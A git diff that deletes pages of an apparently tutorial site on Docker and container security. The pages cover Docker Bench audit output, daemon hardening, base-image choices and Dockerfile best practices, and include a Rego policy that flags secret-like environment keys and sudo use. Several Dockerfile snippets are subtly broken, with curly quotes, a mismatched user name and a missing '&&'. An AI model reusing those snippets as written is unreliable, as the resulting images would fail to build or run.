cloned: - -``` -cd docker-bench-security - - -``` - -The cloned directory will contain a Bash script named docker-bench-security.sh. We can run this script to perform the Docker security audit by running the following command: - -``` -sudo ./docker-bench-security.sh -``` - -When the script is executed, it will perform all the necessary security checks. Once completed, it will provide you with a baseline security score as highlighted - -``` -Section C - Score - -[INFO] Checks: 117 -[INFO] Score: -5 - -``` - -# Docker Bench for Security Options - -```bash - b optional Do not print colors - -h optional Print this help message - -l FILE optional Log output in FILE, inside container if run using docker - -u USERS optional Comma delimited list of trusted docker user(s) - -c CHECK optional Comma delimited list of specific check(s) id - -e CHECK optional Comma delimited list of specific check(s) id to exclude - -i INCLUDE optional Comma delimited list of patterns within a container or image name to check - -x EXCLUDE optional Comma delimited list of patterns within a container or image name to exclude from check - -n LIMIT optional In JSON output, when reporting lists of items (containers, images, etc.), limit the number of reported items to LIMIT. Default 0 (no limit). - -p PRINT optional Disable the printing of remediation measures. Default: print remediation measures. - -``` - -## Running Docker Bench for poticular docker images - -```bash -sudo ./docker-bench-security.sh -i hello-world -Password: -# -------------------------------------------------------------------------------------------- -# Docker Bench for Security v1.3.6 -# -# Docker, Inc. (c) 2015-2023 -# -# Checks for dozens of common best-practices around deploying Docker containers in production. -# Based on the CIS Docker Benchmark 1.4.0. -# -------------------------------------------------------------------------------------------- - -Initializing 2023-01-04T19:09:21:z - - -Section A - Check results - -[INFO] 1 - Host Configuration -[INFO] 1.1 - Linux Hosts Specific Configuration -[WARN] 1.1.1 - Ensure a separate partition for containers has been created (Automated) -[INFO] 1.1.2 - Ensure only trusted users are allowed to control Docker daemon (Automated) -[INFO] * Users: -[WARN] 1.1.3 - Ensure auditing is configured for the Docker daemon (Automated) -[WARN] 1.1.4 - Ensure auditing is configured for Docker files and directories -/run/containerd (Automated) -[INFO] 1.1.5 - Ensure auditing is configured for Docker files and directories - /var/lib/docker (Automated) -[INFO] * Directory not found -[INFO] 1.1.6 - Ensure auditing is configured for Docker files and directories - /etc/docker (Automated) -[INFO] * Directory not found -[INFO] 1.1.7 - Ensure auditing is configured for Docker files and directories - docker.service (Automated) -[INFO] * File not found -[INFO] 1.1.8 - Ensure auditing is configured for Docker files and directories - containerd.sock (Automated) -[INFO] * File not found -[INFO] 1.1.9 - Ensure auditing is configured for Docker files and directories - docker.socket (Automated) -[INFO] * File not found -[INFO] 1.1.10 - Ensure auditing is configured for Docker files and directories - /etc/default/docker (Automated) -[INFO] * File not found -[INFO] 1.1.11 - Ensure auditing is configured for Dockerfiles and directories - /etc/docker/daemon.json (Automated) -[INFO] * File not found -[INFO] 1.1.12 - 1.1.12 Ensure auditing is configured for Dockerfiles and directories - /etc/containerd/config.toml (Automated) -[INFO] * File not found -[INFO] 1.1.13 - Ensure auditing is configured for Docker files and directories - /etc/sysconfig/docker (Automated) -[INFO] * File not found -[INFO] 1.1.14 - Ensure auditing is configured for Docker files and directories - /usr/bin/containerd (Automated) -[INFO] * File not found -[INFO] 1.1.15 - Ensure auditing is configured for Docker files and directories - /usr/bin/containerd-shim (Automated) -[INFO] * File not found -[INFO] 1.1.16 - Ensure auditing is configured for Docker files and directories - /usr/bin/containerd-shim-runc-v1 (Automated) -[INFO] * File not found -[INFO] 1.1.17 - Ensure auditing is configured for Docker files and directories - /usr/bin/containerd-shim-runc-v2 (Automated) -[INFO] * File not found -[INFO] 1.1.18 - Ensure auditing is configured for Docker files and directories - /usr/bin/runc (Automated) -[INFO] * File not found -[INFO] 1.2 - General Configuration -[NOTE] 1.2.1 - Ensure the container host has been Hardened (Manual) -date: illegal time format -usage: date [-jnRu] [-r seconds|file] [-v[+|-]val[ymwdHMS]] - [-I[date | hours | minutes | seconds]] - [-f fmt date | [[[mm]dd]HH]MM[[cc]yy][.ss]] [+format] -./functions/helper_lib.sh: line 36: [: : integer expression expected -./functions/helper_lib.sh: line 37: [: : integer expression expected -[PASS] 1.2.2 - Ensure that the version of Docker is up to date (Manual) -[INFO] * Using 20.10.21 which is current -[INFO] * Check with your operating system vendor for support and security maintenance for Docker - -[INFO] 2 - Docker daemon configuration -[NOTE] 2.1 - Run the Docker daemon as a non-root user, if possible (Manual) -[WARN] 2.2 - Ensure network traffic is restricted between containers on the default bridge (Scored) -[PASS] 2.3 - Ensure the logging level is set to 'info' (Scored) -[PASS] 2.4 - Ensure Docker is allowed to make changes to iptables (Scored) -[PASS] 2.5 - Ensure insecure registries are not used (Scored) -[PASS] 2.6 - Ensure aufs storage driver is not used (Scored) -[INFO] 2.7 - Ensure TLS authentication for Docker daemon is configured (Scored) -[INFO] * Docker daemon not listening on TCP -[INFO] 2.8 - Ensure the default ulimit is configured appropriately (Manual) -[INFO] * Default ulimit doesn't appear to be set -[WARN] 2.9 - Enable user namespace support (Scored) -[PASS] 2.10 - Ensure the default cgroup usage has been confirmed (Scored) -[PASS] 2.11 - Ensure base device size is not changed until needed (Scored) -[WARN] 2.12 - Ensure that authorization for Docker client commands is enabled (Scored) -[WARN] 2.13 - Ensure centralized and remote logging is configured (Scored) -[WARN] 2.14 - Ensure containers are restricted from acquiring new privileges (Scored) -[WARN] 2.15 - Ensure live restore is enabled (Scored) -[WARN] 2.16 - Ensure Userland Proxy is Disabled (Scored) -[PASS] 2.17 - Ensure that a daemon-wide custom seccomp profile is applied if appropriate (Manual) -[INFO] Ensure that experimental features are not implemented in production (Scored) (Deprecated) - -[INFO] 3 - Docker daemon configuration files -[INFO] 3.1 - Ensure that the docker.service file ownership is set to root:root (Automated) -[INFO] * File not found -[INFO] 3.2 - Ensure that docker.service file permissions are appropriately set (Automated) -[INFO] * File not found -[INFO] 3.3 - Ensure that docker.socket file ownership is set to root:root (Automated) -[INFO] * File not found -[INFO] 3.4 - Ensure that docker.socket file permissions are set to 644 or more restrictive (Automated) -[INFO] * File not found -[INFO] 3.5 - Ensure that the /etc/docker directory ownership is set to root:root (Automated) -[INFO] * Directory not found -[INFO] 3.6 - Ensure that /etc/docker directory permissions are set to 755 or more restrictively (Automated) -[INFO] * Directory not found -[INFO] 3.7 - Ensure that registry certificate file ownership is set to root:root (Automated) -[INFO] * Directory not found -[INFO] 3.8 - Ensure that registry certificate file permissions are set to 444 or more restrictively (Automated) -[INFO] * Directory not found -[INFO] 3.9 - Ensure that TLS CA certificate file ownership is set to root:root (Automated) -[INFO] * No TLS CA certificate found -[INFO] 3.10 - Ensure that TLS CA certificate file permissions are set to 444 or more restrictively (Automated) -[INFO] * No TLS CA certificate found -[INFO] 3.11 - Ensure that Docker server certificate file ownership is set to root:root (Automated) -[INFO] * No TLS Server certificate found -[INFO] 3.12 - Ensure that the Docker server certificate file permissions are set to 444 or more restrictively (Automated) -[INFO] * No TLS Server certificate found -[INFO] 3.13 - Ensure that the Docker server certificate key file ownership is set to root:root (Automated) -[INFO] * No TLS Key found -[INFO] 3.14 - Ensure that the Docker server certificate key file permissions are set to 400 (Automated) -[INFO] * No TLS Key found -stat: illegal option -- c -usage: stat [-FLnq] [-f format | -l | -r | -s | -x] [-t timefmt] [file ...] -[WARN] 3.15 - Ensure that the Docker socket file ownership is set to root:docker (Automated) -[WARN] * Wrong ownership for /var/run/docker.sock -stat: illegal option -- c -usage: stat [-FLnq] [-f format | -l | -r | -s | -x] [-t timefmt] [file ...] -./tests/3_docker_daemon_configuration_files.sh: line 429: [: : integer expression expected -[WARN] 3.16 - Ensure that the Docker socket file permissions are set to 660 or more restrictively (Automated) -[WARN] * Wrong permissions for /var/run/docker.sock -[INFO] 3.17 - Ensure that the daemon.json file ownership is set to root:root (Automated) -[INFO] * File not found -[INFO] 3.18 - Ensure that daemon.json file permissions are set to 644 or more restrictive (Automated) -[INFO] * File not found -[INFO] 3.19 - Ensure that the /etc/default/docker file ownership is set to root:root (Automated) -[INFO] * File not found -[INFO] 3.20 - Ensure that the /etc/sysconfig/docker file permissions are set to 644 or more restrictively (Automated) -[INFO] * File not found -[INFO] 3.21 - Ensure that the /etc/sysconfig/docker file ownership is set to root:root (Automated) -[INFO] * File not found -[INFO] 3.22 - Ensure that the /etc/default/docker file permissions are set to 644 or more restrictively (Automated) -[INFO] * File not found -[INFO] 3.23 - Ensure that the Containerd socket file ownership is set to root:root (Automated) -[INFO] * File not found -[INFO] 3.24 - Ensure that the Containerd socket file permissions are set to 660 or more restrictively (Automated) -[INFO] * File not found -[INFO] 4 - Container Images and Build File -[INFO] 4.1 - Ensure that a user for the container has been created (Automated) -[INFO] * No containers running -[NOTE] 4.2 - Ensure that containers use only trusted base images (Manual) -[NOTE] 4.3 - Ensure that unnecessary packages are not installed in the container (Manual) -[NOTE] 4.4 - Ensure images are scanned and rebuilt to include security patches (Manual) -[WARN] 4.5 - Ensure Content trust for Docker is Enabled (Automated) -[PASS] 4.6 - Ensure that HEALTHCHECK instructions have been added to container images (Automated) -[PASS] 4.7 - Ensure update instructions are not used alone in the Dockerfile (Manual) -[NOTE] 4.8 - Ensure setuid and setgid permissions are removed (Manual) -[PASS] 4.9 - Ensure that COPY is used instead of ADD in Dockerfiles (Manual) -[NOTE] 4.10 - Ensure secrets are not stored in Dockerfiles (Manual) -[NOTE] 4.11 - Ensure only verified packages are installed (Manual) -[NOTE] 4.12 - Ensure all signed artifacts are validated (Manual) -[INFO] 5 - Container Runtime -[INFO] * No containers running, skipping Section 5 -[INFO] 6 - Docker Security Operations -[INFO] 6.1 - Ensure that image sprawl is avoided (Manual) -[INFO] * There are currently: 13 images -[INFO] * Only 0 out of 13 are in use -[INFO] 6.2 - Ensure that container sprawl is avoided (Manual) -[INFO] * There are currently a total of 40 containers, with 18 of them currently running -[INFO] 7 - Docker Swarm Configuration -[PASS] 7.1 - Ensure swarm mode is not Enabled, if not needed (Automated) -[PASS] 7.2 - Ensure that the minimum number of manager nodes have been created in a swarm (Automated) (Swarm mode not enabled) -[PASS] 7.3 - Ensure that swarm services are bound to a specific host interface (Automated) (Swarm mode not enabled) -[PASS] 7.4 - Ensure that all Docker swarm overlay networks are encrypted (Automated) -[PASS] 7.5 - Ensure that Docker's secret management commands are used for managing secrets in a swarm cluster (Manual) (Swarm mode not enabled) -[PASS] 7.6 - Ensure that swarm manager is run in auto-lock mode (Automated) (Swarm mode not enabled) -[PASS] 7.7 - Ensure that the swarm manager auto-lock key is rotated periodically (Manual) (Swarm mode not enabled) -[PASS] 7.8 - Ensure that node certificates are rotated as appropriate (Manual) (Swarm mode not enabled) -[PASS] 7.9 - Ensure that CA certificates are rotated as appropriate (Manual) (Swarm mode not enabled) -[PASS] 7.10 - Ensure that management plane traffic is separated from data plane traffic (Manual) (Swarm mode not enabled) - - -Section C - Score -[INFO] Checks: 86 -[INFO] Score: -1 - - -``` - -# Run the Docker daemon as a non-root user, if possible (Manual) - -The Docker containers by default run with the root privilege and so does the application that runs inside the container. This is another major concern from the security perspective because hackers can gain root access to the Docker host by hacking the application running inside the container. - - -Add user to Docker group - -```bash -$ sudo groupadd docker -``` -add your user to the docker group: - -```bash -sudo usermod -aG docker [non-root user] - -``` - -Using Dockerfile (USER instruction) - -dit the Dockerfile that creates a non-root privilege user and modify the default root user to the newly-created non-root privilege user, as shown here: - - -```bash -########################################## -# Dockerfile to change from root to -# non-root privilege -########################################### -# Base image is CentOS 7 -FROM Centos:7 -# Add a new user "sangam" with user id 8877 -RUN useradd -u 8877 sangam -# Change to non-root privilege -USER sangam - -``` - -Proceed to build the Docker image using the “docker build” subcommand, as depicted here: - -```bash -sudo docker build -t nonrootimage . - -``` - Finally, let’s verify the current user of our container using the id command in a docker run subcommand: - -```bash -sudo docker run --rm nonrootimage id -``` - -# Ensure network traffic is restricted between containers on the default bridge - -```bash -sudo docker network ls -Password: -NETWORK ID NAME DRIVER SCOPE -beb64c03a4cf bridge bridge local -1d337b15d114 host host local -88ea4badd709 meshery_docker-extension-meshery-desktop-extension_default bridge local -3be4c0abf1a8 minikube bridge local -47444c7b3650 multinode-pod-security bridge local -ed5ab538e49a none null local -``` - -```bash -sudo docker network inspect bridge - -Password: -[ - { - "Name": "bridge", - "Id": "beb64c03a4cf6c3385fd311edf8a3ff76670f62045068bad43ad4fcfe40f5c72", - "Created": "2023-01-04T11:46:52.643189959Z", - "Scope": "local", - "Driver": "bridge", - "EnableIPv6": false, - "IPAM": { - "Driver": "default", - "Options": null, - "Config": [ - { - "Subnet": "172.17.0.0/16", - "Gateway": "172.17.0.1" - } - ] - }, - "Internal": false, - "Attachable": false, - "Ingress": false, - "ConfigFrom": { - "Network": "" - }, - "ConfigOnly": false, - "Containers": {}, - "Options": { - "com.docker.network.bridge.default_bridge": "true", - "com.docker.network.bridge.enable_icc": "true", - "com.docker.network.bridge.enable_ip_masquerade": "true", - "com.docker.network.bridge.host_binding_ipv4": "0.0.0.0", - "com.docker.network.bridge.name": "docker0", - "com.docker.network.driver.mtu": "1500" - }, - "Labels": {} - } -] - - -``` -If not required, you should restrict the network traffic between containers. - -By default, unrestricted network traffic is enabled amongst all containers on the same host in the default network bridge. However, a bad actor positioned in a compromised container could leverage this functionality to abuse other services exposed by other containers within the container network on the same host. - -To disable the inter-container communication, configure the daemon with the icc flag set to false. Note that this configuration can be overridden by containers that are run with the deprecated --link option. - - -```bash -$ docker network ls -q | xargs docker network inspect -f '{{ .Name }}: {{ .Options }}' -``` -The com.docker.network.bridge.enable_icc should be set to false for the default network bridge. - -You should also consider using user-defined bridge networks to enforce network isolation among containers as a more flexible solution. - -# Protect the UNIX socket from unintended access - - - -The non-networked /var/run/docker.sock UNIX socket is used by default to locally access the Docker Engine API. The safe default settings on Linux include a socket file owned by the “root” user and a “docker” group allowing solely “root” read and write file permission (ug+rw). - -Run this command to review the correctness of the Docker UNIX socket permissions. - -```bash -$ ls -l /var/run/docker.sock -lrwxr-xr-x 1 root daemon 44 4 Jan 17:16 /var/run/docker.sock -> /Users/sangambiradar/.docker/run/docker.sock -``` - -# Use secure registries to pull and push images - -nsecure registries do not use TLS, nor do they have an invalid TLS certificate. Such registries should not be used as they are prone to man-in-the-middle (MITM) attacks by malicious actors who are able to modify the network traffic. - -Run the below command to list the insecure registries used by the Docker daemon. - -```bash - -docker info --format '{{.RegistryConfig.InsecureRegistryCIDRs}}' - -``` - -# Enable user namespace support -```bash -ps aux | grep dockerd -sangambiradar 34266 0.0 0.0 408626880 1280 s000 S+ 7:22PM 0:00.00 grep --color=auto --exclude-dir=.bzr --exclude-dir=CVS --exclude-dir=.git --exclude-dir=.hg --exclude-dir=.svn --exclude-dir=.idea --exclude-dir=.tox dockerd -``` - -```bash -docker container run -it --rm alpine /bin/sh -Unable to find image 'alpine:latest' locally -latest: Pulling from library/alpine -261da4162673: Pull complete -Digest: sha256:8914eb54f968791faf6a8638949e480fef81e697984fba772b3976835194c6d4 -Status: Downloaded newer image for alpine:latest -/ # whoami -root -``` - -To follow the principle of least privilege, containerized applications should not be run as root. To achieve this, then the --user parameter can be used to specify a user other than root for the container. It accepts as value a username (if it was previously created in the Dockerfile) or a UID, optionally a GID as well. - -## Enable Content Trust -Ensure Content trust for Docker is Enabled. Content trust is a system for signing Docker images and verifying their signatures before running them. We can enable content trust with the `DOCKER_CONTENT_TRUST` environment variable. - -To set this variable for your current shell -session, type the following into the shell: - -```bash -export DOCKER_CONTENT_TRUST=1 - -``` - - -Running the audit after this export command should show that Content trust has been enabled and clear this warning. To enable it automatically for all users and all sessions, add the `DOCKER_CONTENT_TRUST` variable to the `/etc/environment` file, which is a file for assigning system-wide environment variables: - -```bash -echo "DOCKER_CONTENT_TRUST=1" | sudo tee -a /etc/environment - -``` - -## Ensure auditing is configured for various Docker files - -```bash -sudo apt-get install auditd -``` - -```bash -sudo nano /etc/audit/audit.rules -ubuntu@enormous-longspur:~$ sudo cat /etc/audit/audit.rules -## This file is automatically generated from /etc/audit/rules.d --D --b 8192 --f 1 ---backlog_wait_time 60000 - --w /usr/bin/docker -p wa --w /var/lib/docker -p wa --w /etc/docker -p wa --w /lib/systemd/system/docker.service -p wa --w /lib/systemd/system/docker.socket -p wa --w /etc/default/docker -p wa --w /etc/docker/daemon.json -p wa --w /usr/bin/docker-containerd -p wa --w /usr/bin/docker-runc -p wa - -``` - -Restart auditd for the changes to take effect: - -```bash -sudo systemctl restart auditd -``` - -## Correcting Docker Daemon Configuration Warnings - -```bash -sudo nano /etc/docker/daemon.json -ubuntu@docker:~/docker-bench-security$ cat nano /etc/docker/daemon.json -cat: nano: No such file or directory - -{ - "icc": false, - "userns-remap": "default", - "log-driver": "syslog", - "disable-legacy-registry": true, - "live-restore": true, - "userland-proxy": false, - "no-new-privileges": true -} -ubuntu@docker:~/docker-bench-security$ - -sudo systemctl restart docker - -``` - -## Enable Content Trust - -Content trust is a system for signing Docker images and verifying their signatures before running them. We can enable content trust with the DOCKER_CONTENT_TRUST environment variable. - -```bash -export DOCKER_CONTENT_TRUST=1 - -``` - -Running the audit after this export command should show that Content trust has been enabled and clear this warning. To enable it automatically for all users and all sessions, add the DOCKER_CONTENT_TRUST variable to the /etc/environment file, which is a file for assigning system-wide environment variables: - -```bash -echo "DOCKER_CONTENT_TRUST=1" | sudo tee -a /etc/environment - -``` \ No newline at end of file diff --git a/content/en/containersecurity/b14.Container-image-security.md b/content/en/containersecurity/b14.Container-image-security.md deleted file mode 100644 index 97f1fdc..0000000 --- a/content/en/containersecurity/b14.Container-image-security.md +++ /dev/null @@ -1,265 +0,0 @@ ---- -title: "Container Image Security " -description: "Container Image Security " -slug: "container-image-security" ---- - -## Container Image Security - - - Building secure container images - -## Choosing base images - - # Alpine -- Pros - - very small images: the community pays a lot attention on minimizing image sizes - - minimum functionality: only absolutely necessary packages contained - - lightweight init system: like Gentoo, Alpine uses OpenRC, a lightweight alternative to systemd - - musl performance: for some cases, [musl libc](https://musl.libc.org) can be more performant than [glibc](https://www.gnu.org/software/libc/) -- Cons - - rather Poor Documentation - - Small team : Currently there are [3 developer listed ](https://wiki.alpinelinux.org/wiki/Alpine_Linux:Developers - ) as the alpine linux team - - possible incompatibilities: musl libc may cause problems with some C-based plugins and adjustments may be necessary if you compile software yourself - -# Debian - -- Pro: - - small images: the size of slimmed down Debian images (such as minideb by Bitnami) is almost on par with Alpine (e.g. m[minideb](https://github.com/bitnami/minideb) + Python is [just 7 MB larger than Alpine + Python](https://dzone.com/articles/minideb-a-minimalist-debian-based-docker-image)) - - lots of packages: there's hardly any software for Linux which hasn't been packaged for Debian - - well tested: due to its popularity, Debian is used widely and issues are more likely to be found - - comprehensive documentation; also, the community produced a big amount of additional documentations and tutorials - - more security reviews: again, due to its larger community, Debian gets more attention and its more likely that vulnerabilities are discovered, e.g in glibc versus in musl libc (assumption). Debian also has a [security audit team](https://www.debian.org/security/), which proactively looks for security issues. - - provenance: validating authenticity of packages is possible, e.g. with debsigs / dpkgsig - -- Con: - - - slightly larger attack surface: minideb consists of about 35 packages (such as bash, grep, hostname, mount …) due to apt depending on it - - more false positives: scanners may report more false positives you need to look at - -# Distroless images - -simple distroless Golang Example - -```go -package main - -import "fmt" - -func main() { - fmt.Println("Hello, world!") -} - -``` - -```Dockerfile -FROM golang:1.18 as build -WORKDIR /go/src/app -COPY . . -RUN go mod download -RUN go vet -v -RUN go test -v -RUN CGO_ENABLED=0 go build -o /go/bin/app -FROM gcr.io/distroless/static-debian11 -COPY --from=build /go/bin/app / -CMD ["/app"] -``` - - -- Distroless 2.0 project - uses Alpine as a minimalistic & secure base image, and with the help of two tools, apko and melange, allows to build an application-tailored image containing only (mostly?) the necessary bits. - - -- What is apko ? - - Declarative OCI image builder tool based on apk - - Images are defined in YAML files - - Build are fully reproducible - - Automatically generates SBOMs for every imahes - - Platform-agnostic buids via Docker + apko images - - - - example of apko.yaml file - -```yaml -contents: - repositories: - - https://dl-cdn.alpinelinux.org/alpine/edge/main - packages: - - alpine-base -entrypoint: - command: /bin/sh -l -# optional environment configuration -environment: - PATH: /usr/sbin:/sbin:/usr/bin:/bin - -``` - -Buiding the images with apko via Docker - -```bash -docker run -v "$PWD":/work cgr.dev/chainguard/apko build examples/alpine-base.yaml apko-alpine:edge apko-alpine.tar -``` - -test the image with docker - -```bash -$ docker load < alpine.tar -$ docker run -it apko-alpine:test -``` - -- Why apko ? - - Introduced by alphine , it used a different methodology to handle package management - - Package Installation or removal is done as a side effect of modifyinh the system state - - This creates the ideal conditions for reproducible and declaratve pipelines - -- where do package come from ? - - for alphine-base images , use Alphine apks found at pkgs.alpinelinux.org/packages - - for wolfi images , use wolfi apks that are listed in the wolfi-os repository hosted at packages.wolfi.dev/os - - Don't mix! - - You cam also create your own apks with melange - -- why distroless ? - - Minimalist container images with only what's absolutely necessary to build or execute your application - - Popular base images are full of software that only makes sense on bare metal - - No need for package managers or interactive shells on production images - - less dependencies = less attack surface - - -```bash -docker run cgr.dev/chainguard/apko version -``` - -```bash -docker run -v "$PWD":/work cgr.dev/chainguard/apko build examples/alpine-base.yaml apko-alpine:edge apko-alpine.tar - -``` - - - -# Scratch Images - -The default golang image is great! It allows you to quickly build and test your golang projects. But it has a few draw backs, it is a massive 964 MB even the slimmed down alpine based image is 327 MB, not only that but having unused binaries and packages opens you up to security flaws. - -Using a multi-stage image will allow you to build smaller images by dropping all the packages used to build the binaries and only including the ones required during runtime. - -```dockerfile -# Create a builder stage -FROM golang:alpine as builder - -RUN apk update -RUN apk add --no-cache git ca-certificates \ - && update-ca-certificates - -COPY . . - -# Fetch dependencies -RUN go mod download -RUN go mod verify - -# Build the binary -RUN CGO_ENABLED=0 GOOS=linux GOARCH=amd64 \ - go build -ldflags="-w -s" \ - -o /go/bin/my-docker-binary - -# Create clean image -FROM alpine:latest - -# Copy only the static binary -COPY --from=builder /go/bin/my-docker-binary \ - /go/bin/my-docker-binary - -# Run the binary -ENTRYPOINT ["/go/bin/my-docker-binary"] - -``` -Great now we have an image thats 20 MB thats a 95% reduction! Remember these are production images so we use -ldflags="-w -s" to turn off debug information -w and Go symbols -s. - - -## Scratch Image and Lowest Privilege User - -Now to get rid of all those unused packages. Instead of using the alpine image as our final stage we will use the scratch image which has literally nothing! - -Will will take this opportunity to also create a non-root user. Add the following snippet to your builder stage - -``` - -ENV USER=appuser -ENV UID=10001 - -RUN adduser \ - --disabled-password \ - --gecos "" \ - --home "/nonexistent" \ - --shell "/sbin/nologin" \ - --no-create-home \ - --uid "$\{UID\}" \ - "$\{USER\}" - -``` - -We will need to copy over the ca-certificates to the final stage, this is only required if you are making https calls and we will also need to copy over the passwd and group files to use our appuser. Finally we need get the stage to use our user. - -``` -# Copy over the necessary files -COPY --from=builder \ - /etc/ssl/certs/ca-certificates.crt \ - /etc/ssl/certs/ -COPY --from=builder /etc/passwd /etc/passwd -COPY --from=builder /etc/group /etc/group -# Use our user! -USER appuser:appuser -``` - -So finally your Dockerfile should look something like this: - - -``` -# Create a builder stage -FROM golang:alpine as builder - -RUN apk update -RUN apk add --no-cache git ca-certificates \ - && update-ca-certificates - -ENV USER=appuser -ENV UID=10001 - -RUN adduser \ - --disabled-password \ - --gecos "" \ - --home "/nonexistent" \ - --shell "/sbin/nologin" \ - --no-create-home \ - --uid "${UID}" \ - "${USER}" - -COPY . . - -# Fetch dependencies -RUN go mod download -RUN go mod verify - -# Build the binary -RUN CGO_ENABLED=0 GOOS=linux GOARCH=amd64 \ - go build -ldflags="-w -s" \ - -o /go/bin/my-docker-binary - -# Create clean image -FROM scratch - -# Copy only the static binary -COPY --from=builder \ - /go/bin/my-docker-binary \ - /go/bin/my-docker-binary -COPY --from=builder \ - /etc/ssl/certs/ca-certificates.crt \ - /etc/ssl/certs/ -COPY --from=builder /etc/passwd /etc/passwd -COPY --from=builder /etc/group /etc/group - -# Use our user! -USER appuser:appuser - -# Run the binary -ENTRYPOINT ["/go/bin/my-docker-binary"] - -``` \ No newline at end of file diff --git a/content/en/containersecurity/b15.dockerfile-security.md b/content/en/containersecurity/b15.dockerfile-security.md deleted file mode 100644 index d6421f0..0000000 --- a/content/en/containersecurity/b15.dockerfile-security.md +++ /dev/null @@ -1,267 +0,0 @@ ---- -title: "DockerFile Security Best Practices " -slug: "DockerFile-Security-Best-Practices" ---- - - -# DockerFile Security Best Practices - -- Choose Minimal Base Images - -![](./images/minimal.gif) - -```Dockerfile -FROM alpine -WORKDIR /app -COPY package.json /app -RUN npm install -CMD [“node”,“index.js”] - -``` - - -- Remove Cache Packages -![](./images/cache-package.jpeg) - -```Dockerfile -FROM alpine -RUN apk add nginx && rm -rf /var/cache/apt/* -COPY index.html /var/www/html/ -EXPOSE 80 -CMD [“nginx”,“-g”,“daemon off;”] -``` - -```Dockerfile -FROM alpine -RUN apk add –no-cache nginx -COPY index.html /var/www/html/ -EXPOSE 80 -CMD [“nginx”,“-g”,“daemon off;”] -``` - -- avoid multilayers - -![](https://miro.medium.com/max/1000/0*FMAsrFS11TCJaQl5.gif) - -```Dockerfile -FROM alpine -RUN apk update -RUN apk add curl -RUN apk add nodejs -RUN apk add nginx-1.16.1-r6 -RUN apk add nginx-mod-http-geoip2-1.16.1-r6 -COPY index.html /var/www/html/ -EXPOSE 80 -CMD [“nginx”,“-g”,“daemon off;”] -``` - -```Dockerfile -FROM alpine -RUN apk update && apk add curl nginx nginx-mod-http-geoip2-1.16.1-r6 \ -rm -rf /var/cache/apt/* -COPY index.html /var/www/html/ -EXPOSE 80 -CMD [“nginx”,“-g”,“daemon off;”] - -``` -- Don't ignore `.dockerignore` - -![](https://miro.medium.com/max/800/0*FNJQYGBJTCJ6CwwI.gif) - -``` -node_modules -.env -secrets/ -*pem -*.md -``` - -```Dockerfile -FROM node:10 -WORKDIR /nodeapp -COPY package.json ./ -RUN npm install -COPY . . -EXPOSE 8888 -CMD [ “node”, “index.js” ] -``` - -- choose slim variant - - -![](https://s3.amazonaws.com/media-p.slid.es/uploads/1936196/images/8841214/pasted-from-clipboard.png) - -- cut the root - -![](https://s3.amazonaws.com/media-p.slid.es/uploads/1936196/images/8841215/pasted-from-clipboard.png) - -```Dockerfile -FROM node:10 -WORKDIR /app -COPY package.json ./ -RUN npm install -COPY . . -EXPOSE 8888 -CMD [ “node”, “index.js” ] -``` - -```Dockerfile -FROM node:10 -RUN user add -m nodeapp -USER nodeappuser -RUN whoami -WORKDIR /app -COPY package.json ./ -RUN npm install -COPY . . -EXPOSE 8888 -CMD [ “node”, “index.js” ] - -``` - -## Remove Unwanted - -![](https://miro.medium.com/max/1060/0*5Kgip-LsvTRHXb7f.gif) - - -TAG Wisely - - - -![](https://miro.medium.com/max/960/0*XchFJrkVCTwcC1Aj.gif) - -So No to latest Tags - -![](https://s3.amazonaws.com/media-p.slid.es/uploads/1936196/images/8841223/pasted-from-clipboard.png) - -Public Private Registry - -![](https://miro.medium.com/max/960/0*cWv3QB9YHc_5a3D_.gif) - -keep it single -![](https://miro.medium.com/max/700/0*RJiU_CQIcwj5t-6I.gif) - -## Avoid Hard Coding - -![](https://miro.medium.com/max/1000/0*cg2kGD2eKdypyJzT.gif) - -``` -ARG VERSION -FROM node:$VERSION -WORKDIR /app -COPY package.json ./ -RUN npm install -COPY . . -EXPOSE 8888 -CMD [ “node”, “index.js” ] - -``` - -``` -docker build -t testimage –build-arg VERSION=10 . -docker build -t testimage –build-arg VERSION=9 . -``` - -adding metadata - -![](https://miro.medium.com/max/1374/0*Pz7-FhTCNRu7Qs9B.jpg) - -``` -FROM node:10 -LABEL version=“1.0” maintainer=“Sangam Biradar ” -WORKDIR /app -COPY package.json ./ -RUN npm install -COPY . . -EXPOSE 8888 -CMD [ “node”, “index.js” ] - -``` - -Rego Policies - -- write custom policies - -```json - -package play - - -suspicious_env_keys = [ - "passwd", - "password", - "secret", - "key", - "access", - "api_key", - "apikey", - "token", -] - -pkg_update_commands = [ - "apk upgrade", - "apt-get upgrade", - "dist-upgrade", -] - -image_tag_list = [ - "latest", - "LATEST", -] - -# Looking for suspicious environemnt variables -deny[msg] { - input[i].Cmd == "env" - val := input[i].Value - contains(lower(val[_]), suspicious_env_keys[_]) - msg = sprintf("Suspicious ENV key found: %s", [val]) -} - -# Looking for latest docker image used -warn[msg] { - input[i].Cmd == "from" - val := split(input[i].Value[0], ":") - count(val) == 1 - msg = sprintf("Do not use latest tag with image: %s", [val]) -} - -# Looking for latest docker image used -warn[msg] { - input[i].Cmd == "from" - val := split(input[i].Value[0], ":") - contains(val[1], image_tag_list[_]) - msg = sprintf("Do not use latest tag with image: %s", [input[i].Value]) -} - -# Looking for apk upgrade command used in Dockerfile -deny[msg] { - input[i].Cmd == "run" - val := concat(" ", input[i].Value) - contains(val, pkg_update_commands[_]) - msg = sprintf("Do not use upgrade commands: %s", [val]) -} - -# Looking for ADD command instead using COPY command -deny[msg] { - input[i].Cmd == "add" - val := concat(" ", input[i].Value) - msg = sprintf("Use COPY instead of ADD: %s", [val]) -} - -# sudo usage -deny[msg] { - input[i].Cmd == "run" - val := concat(" ", input[i].Value) - contains(lower(val), "sudo") - msg = sprintf("Avoid using 'sudo' command: %s", [val]) -} - -# # No Healthcheck usage -# deny[msg] { -# input[i].Cmd == "healthcheck" -# msg := "no healthcheck" -# } - -``` -[Rego Playground](https://play.openpolicyagent.org/p/epcbtaBtSF) - diff --git a/content/en/containersecurity/b16.SecretScanner.md b/content/en/containersecurity/b16.SecretScanner.md deleted file mode 100644 index f8dc508..0000000 --- a/content/en/containersecurity/b16.SecretScanner.md +++ /dev/null @@ -1,354 +0,0 @@ ---- -title: "SecretScanner - Finding secrets and passwords in container images and file systems " -slug: "SecretScanner-Finding-secrets-and-passwords-in-container-images-and-file-systems" ---- - -Published on [CloudNativeFolks](https://blog.cloudnativefolks.org/finding-leaked-secrets-in-your-container-images-and-file-system-with-secretscanner) - -One of most common mistake is leaking Secrets via docker images or file system in this blogpost we will use [Deepfence's](https://deepfence.io) Open Source Project [SecretScanner](https://github.com/deepfence/SecretScanner) - -few days 